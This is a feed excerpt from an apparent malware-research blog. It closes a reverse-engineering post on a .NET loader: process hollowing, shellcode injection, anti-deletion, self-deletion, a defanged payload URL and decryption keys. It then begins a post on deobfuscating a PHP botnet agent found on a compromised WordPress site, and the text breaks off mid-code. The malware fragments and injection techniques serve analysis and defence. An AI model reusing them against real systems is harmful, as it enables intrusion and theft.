<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_persistence_anti_upload.png" title="6_Slayed.dll.deobfus persistence anti-upload" class="img-fluid"></p>
</section>
</section>
<section id="anti_file_delete" class="level4">
<h4 class="anchored" data-anchor-id="anti_file_delete">13. anti_file_delete</h4>
<p>If enabled, the malware opens its own file with restrictive <code>FILE_SHARE_READ</code> permissions, then uses <code>DuplicateHandle</code> to pass the handle to <code>explorer.exe</code>.</p>
<p>This prevents the file from being deleted, as <code>explorer.exe</code> holds an open handle with exclusive access.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_anti_file_delete.png" title="6_Slayed.dll.deobfus anti file delete" class="img-fluid"></p>
</section>
<section id="run_input_payload" class="level4">
<h4 class="anchored" data-anchor-id="run_input_payload">14. run_input_payload</h4>
<p>This is the main <strong>loader</strong>. It first attempts to enter debug mode if running as admin, then retrieves the payload and executes it using one of the configured injection methods.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_input_payload.png" title="6_Slayed.dll.deobfus run input payload main loader" class="img-fluid"></p>
<p>If <code>load_from_disk</code> is false, the loader fetches the payload from a remote URL. Otherwise, it decrypts and decompresses the local embedded payload.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_input_payload_get_payload.png" title="6_Slayed.dll.deobfus run input payload get payload function" class="img-fluid"></p>
<p>If the payload is embedded, it is decrypted and decompressed using the same method and encryption keys as the configuration, meaning it is indeed double-packed.</p>
<ul>
<li><strong>AES Key</strong>: <code>/aafR1VtIS+XL4NVuj3yhOxi1YHh8mOLQ9CIjDHJPwM=</code></li>
<li><strong>AES IV</strong>: <code>EnIC8TwBlRAospftIvUaCA==</code></li>
</ul>
<p>The loader supports three execution methods:</p>
<ol type="1">
<li><p><strong>execute_reflection</strong></p>
<p>Loads and executes the payload as a .NET assembly in memory.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_input_payload_execute_reflection.png" title="6_Slayed.dll.deobfus execute_reflection function" class="img-fluid"></p></li>
<li><p><strong>execute_process_hollowing</strong></p>
<p>Starts a new process (<code>InstallUtil.exe</code>, <code>RegAsm.exe</code>, <code>MSBuild.exe</code>, <code>aspnet_compiler.exe</code>, or <code>AppLauch.exe</code>, based on the information from the leaked builder), then deallocates its original memory and injects the malicious payload in its place.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_input_payload_execute_process_hollowing.png" title="6_Slayed.dll.deobfus execute_process_hollowing function" class="img-fluid"></p></li>
<li><p><strong>execute_shellcode</strong></p>
<p>Allocates memory in another process (or the same one if target doesn’t exist), writes shellcode, and spawns a thread to run it.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_input_payload_execute_shellcode.png" title="6_Slayed.dll.deobfus execute_shellcode function" class="img-fluid"></p></li>
</ol>
</section>
<section id="run_loader" class="level4">
<h4 class="anchored" data-anchor-id="run_loader">15. run_loader</h4>
<p>This function executes an additional payload embedded in the configuration. It works similarly to the <code>run_dropper</code> function (reversing and decompressing the payload) but instead of writing it to disk, it injects and runs it directly using the previously described <code>execute_shellcode</code> method.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_loader.png" title="6_Slayed.dll.deobfus run_loader function" class="img-fluid"></p>
</section>
<section id="self_deletion" class="level4">
<h4 class="anchored" data-anchor-id="self_deletion">16. self_deletion</h4>
<p>As part of its cleanup routine, and if enabled in the configuration, the malware attempts to delete its own executable using a PowerShell command.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_self_deletion.png" title="6_Slayed.dll.deobfus self_deletion function" class="img-fluid"></p>
</section>
<section id="ipconfig_renew" class="level4">
<h4 class="anchored" data-anchor-id="ipconfig_renew">17. ipconfig_renew</h4>
<p>As a final step, the malware tries to reconnect the network using <code>ipconfig /renew</code></p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_ipconfig_renew.png" title="6_Slayed.dll.deobfus ipconfig_renew function" class="img-fluid"></p>
<p>Then, it terminates its own process:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode cs code-with-copy"><code class="sourceCode cs"><span id="cb13-1">Process<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetCurrentProcess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">().</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Kill</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span></code></pre></div></div>
</section>
</section>
</section>
<section id="next-stage-payload" class="level2">
<h2 class="anchored" data-anchor-id="next-stage-payload">Next Stage Payload</h2>
<p>After all this looong analysis, let’s continue with my actual sample.</p>
<p>By looking at the configuration, many of the explained options were disabled. The only relevant information was the payload, of only 0x22 bytes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb14-1">hxxps://usa[.]trendys[.]cloud/code.bin</span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/payload_url.png" title="debug showing the payload url" class="img-fluid"></p>
<p>Sadly, at the time of the analysis, the domain was no longer alive :(</p>
<p>But that didn’t stop me there. I checked <a href="https://urlscan.io/result/01958555-90c7-7001-88e1-f12c25b76d6f/">urlscan</a> and bingo! There was one hit, and it even captured the downloaded file.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/urlscan.png" title="urlscan screenshot showing a capture of the malicious domain" class="img-fluid"></p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb15-1">SHA256: dffdda5092b49622eb45606a32a23015c08e81df9fc4a8ba75bc1f6c32fa1b8e</span>
<span id="cb15-2">MIME: Audio file with ID3 version 2.4.0</span>
<span id="cb15-3">Size: 7 MB (6975602 bytes, 100% done)</span>
<span id="cb15-4">Downloaded from: https://usa[.]trendys[.]cloud/</span></code></pre></div></div>
<p>A 7MB audio file? That sounded familiar…</p>
<p>The hash matched the one analyzed in my <a href="../infection_chain_infostealer/#the-river">previous blog post</a>, confirming it’s from the same campaign. However, it wasn’t the <code>code.bin</code> file I was after.</p>
<p>Luckily (or not), I found it on <a href="https://www.virustotal.com/gui/url/222bdc06be71a747968172805ab98b980ae9d7ee556b0855d7e82b59cd599ec4/detection">VirusTotal</a>:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/virustotal_url.png" title="virustotal screenshot showing the results of the malicious url, as well as the downloaded file hash" class="img-fluid"></p>
<p>According to VirusTotal, the <a href="https://www.virustotal.com/gui/file/6028c2608e8c51252dd50b8238a6d6537f794a35db370c1db5171b2b71957df8">downloaded file</a> is a <strong>Rhadamanthys</strong> stealer.</p>
<p>But this post is already long enough. Let’s save that analysis for another time, if so.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/virustotal_file.png" title="virustotal screenshot showing the results of the malicious downloaded file" class="img-fluid"></p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>I wanted to be absolutely sure the loader didn’t contain any hidden payloads, so I went <strong>all in</strong> on a full deep dive.</p>
<p>In the end, my particular sample wasn’t all that interesting, but the journey was well worth it. I learned a ton about this loader and .NET internals along the way.</p>
<p>If you made it this far, I hope you learned something too :)</p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>malware</category>
  <category>reversing</category>
  <category>loader</category>
  <category>dropper</category>
  <category>.NET</category>
  <guid>https://0xlibris.net/posts/infection_chain_infostealer_2/</guid>
  <pubDate>Thu, 22 May 2025 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/infection_chain_infostealer_2/img/main.png" medium="image" type="image/png" height="95" width="144"/>
</item>
<item>
  <title>Analyzing (and weaponizing) a PHP botnet agent</title>
  <link>https://0xlibris.net/posts/php_botnet/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>Recently, I gained access to a compromised WordPress site (or more likely, an old honeypot filled with malware). This presented a perfect opportunity to investigate how PHP botnets used (and still use!) to operate.</p>
<p>These malware samples have been circulating around the web for a very long time, and it’s shocking how a widely known threat still takes an important role in the malware distribution ecosystem.</p>
<p>The sample was discovered like a dead fish that pops up in the surface: the php code was shown on top of 404-not-found pages. The reason? who knows, maybe a migration of the site, an explotation failure, an error from the operator, or perhaps the botnet was dismantled and is no longer active.</p>
<p>In this post, I’ll walk through the process of analyzing and dissecting this PHP botnet code, examining how attackers have historically abused and weaponized compromised WordPress sites to build their botnets. I’ll also try to recreate how this C2 agents are operated.</p>
<p>Finally, I’ll explore the broader implications of this threat by assessing its prevalence across the web, using YARA-based retrohunting on VirusTotal and targeted Google searches.</p>
</section>
<section id="deobfuscation" class="level2">
<h2 class="anchored" data-anchor-id="deobfuscation">Deobfuscation</h2>
<p>This is a picture of the original sample I found:</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/0_initial_obfuscated.png" title="long garbish text" class="img-fluid"></p>
<p>A bit obfuscated, but it’s PHP and not so complex to analyze.</p>
<section id="initial-beautification" class="level3">
<h3 class="anchored" data-anchor-id="initial-beautification">Initial Beautification</h3>
<p>Since we’re dealing with PHP code, the first step is to improve its readability. I used an online PHP beautifier from <a href="https://beautifytools.com/php-beautifier.php">beautifytools</a>.</p>
<p>I needed to add the <code>&lt;?php</code> tag at the beginning of the file.</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/1_beautifier.png" title="PHP beautifier" class="img-fluid"></p>
<p>The beautified file contains 467 lines of code.</p>
</section>
<section id="automated-deobfuscation" class="level3">
<h3 class="anchored" data-anchor-id="automated-deobfuscation">Automated Deobfuscation</h3>
<p>I tested several tools for automatic deobfuscation. The best results came from <a href="https://github.com/bediger4000/reverse-php-malware">reverse-php-malware</a> by bediger4000.</p>
<p>After beautifying the output again, the file was reduced to 446 lines with various variable substitutions.</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/2_rev_beautifier.png" title="automatic deobfuscate and beautifier" class="img-fluid"></p>
</section>
<section id="code-pattern-analysis" class="level3">
<h3 class="anchored" data-anchor-id="code-pattern-analysis">Code Pattern Analysis</h3>
<p><img src="https://0xlibris.net/posts/php_botnet/img/3_different_instances.png" title="There are seven different instances of the same similar code" class="img-fluid"></p>
<p>The code appears to be repeated seven times with different randomly generated variable names. These modifications were likely introduced by the obfuscation tool / builder.</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/4_compare_snippets.png" title="Compare two different snippets, very clear similarities" class="img-fluid"></p>
<p>I divided the file into 7 smaller snippets that follow the same pattern.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb1-1">$ wc php_botnet_[1-7].php</span>
<span id="cb1-2">   64   222  2552 php_botnet_1.php</span>
<span id="cb1-3">   66   242  2667 php_botnet_2.php</span>
<span id="cb1-4">   63   220  2450 php_botnet_3.php</span>
<span id="cb1-5">   63   214  2413 php_botnet_4.php</span>
<span id="cb1-6">   63   267  2720 php_botnet_5.php</span>
<span id="cb1-7">   62   229  2446 php_botnet_6.php</span>
<span id="cb1-8">   64   222  2623 php_botnet_7.php</span>
<span id="cb1-9">  445  1616 17871 total</span></code></pre></div></div>
</section>
<section id="manual-deobfuscation" class="level3">
<h3 class="anchored" data-anchor-id="manual-deobfuscation">Manual Deobfuscation</h3>
<p>A local PHP shell can help us decode obfuscated strings:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb2-1">php <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'clas'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">chr</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">632</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">517</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">chr</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">217</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">122</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'exists'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-2">php <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb2-3"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span></span></code></pre></div></div>
<p>We can use this technique to resolve all remaining obfuscated strings throughout the code.</p>
<section id="initial-code-analysis" class="level4">
<h4 class="anchored" data-anchor-id="initial-code-analysis">Initial Code Analysis</h4>
<p>The first part appears identical across all seven code variants (with different variable names):</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb3-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$JwnMvjTlt</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'class_exists'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-3"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rmjDtqOlI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$JwnMvjTlt</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-4"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14281'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-5"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$zPfeGqPXz</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14281'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-6"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rmjDtqOlI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$zPfeGqPXz</span>) {</span>
<span id="cb3-7">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// rest of the code</span></span>
<span id="cb3-8">}</span></code></pre></div></div>
<p>After substituting variables, we can eliminate <code>$rOujMiLGI</code> which is only meant to complicate analysis and is not really used:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb4-1"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'class_exists'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$rOujMiLGI</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14281'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-3"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14281'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>)) {</span>
<span id="cb4-4">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// rest of the code</span></span>
<span id="cb4-5">}</span></code></pre></div></div>
<p>The actual condition simplifies to:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb5-1"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strpos</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14281'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>)) {</span>
<span id="cb5-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// rest of the code</span></span>
<span id="cb5-3">}</span></code></pre></div></div>
<p>The <a href="https://www.php.net/manual/en/function.strpos.php">strpos()</a> function searches for “D_nrl” in “14281”, which will always return <code>false</code>. Therefore, the condition becomes:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb6-1"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">class_exists</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'D_nrl'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span>) {</span>
<span id="cb6-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// rest of the code</span></span>
<span id="cb6-3">}</span></code></pre></div></div>
<p>The <a href="https://www.php.net/manual/en/function.class-exists.php">class_exists()</a> function checks if the class “D_nrl” exists in the current PHP environment. This entire block serves as a one-time execution check, with deliberately confusing comparisons to evade static code analysis or make reverse engineering more challenging.</p>
</section>
<section id="core-functionality" class="level4">
<h4 class="anchored" data-anchor-id="core-functionality">Core Functionality</h4>
<p>The next section contains a function, a class definition, a variable declaration, and a function call:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb7-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> EtkaemkTDw() {</span>
<span id="cb7-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb7-3">}</span>
<span id="cb7-4"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$mzoDChjlh</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'33115'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> D_nrl {</span>
<span id="cb7-6">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb7-7">}</span>
<span id="cb7-8">EtkaemkTDw()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>For clarity, I’ve renamed <code>EtkaemkTDw()</code> to <code>init()</code> since it initializes execution. This function simply instantiates a new class with the value <code>33115 + 33115</code> (<code>66230</code>):</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb8-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> init() {</span>
<span id="cb8-2">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$fniPN</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span> D_nrl(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33115</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33115</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$fniPN</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">null</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb8-4">}</span></code></pre></div></div>
<p>According to the <a href="https://www.php.net/manual/en/language.oop5.decon.php">PHP manual</a>, the constructor method is called on each newly-created object, making it perfect for initialization operations.</p>
</section>
<section id="class-structure-analysis" class="level4">
<h4 class="anchored" data-anchor-id="class-structure-analysis">Class Structure Analysis</h4>
<p>The class contains both the functions <code>__construct()</code> and <code>__destruct()</code>, as well as other methods and variables.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb9-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> D_nrl {</span>
<span id="cb9-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> sUZcNV(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$mzoDChjlh</span>) {}</span>
<span id="cb9-3">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> kGnmOo() {}</span>
<span id="cb9-4">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__destruct</span>() {}</span>
<span id="cb9-5">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> BpJQpTdwfY(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eTwDpFJI</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$VpuPvEqNf</span>) {}</span>
<span id="cb9-6">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> enSQQgXymq(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eTwDpFJI</span>) {}</span>
<span id="cb9-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">__construct</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$AfOrpPu</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>) {}</span>
<span id="cb9-8">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$UFvzjxeE</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">62542</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-9">}</span></code></pre></div></div>
<p>The <code>kGnmOo()</code> method is unused and can be eliminated:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb10-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> kGnmOo() {</span>
<span id="cb10-2">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'53428'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-3">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$this</span>-&gt;_dummy <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">str_repeat</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">strlen</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span>))<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-4">}</span></code></pre></div></div>
<p>The <code>BpJQpTdwfY()</code> method performs xor operations between a string (inside an array) and possibly a key. The supposed key is repeated to match the size of the string.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb11-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> BpJQpTdwfY(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$eTwDpFJI</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$VpuPvEqNf</span>) {</span>
<span id="cb11-2">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="va" style="color: #111111;
background-color: null;
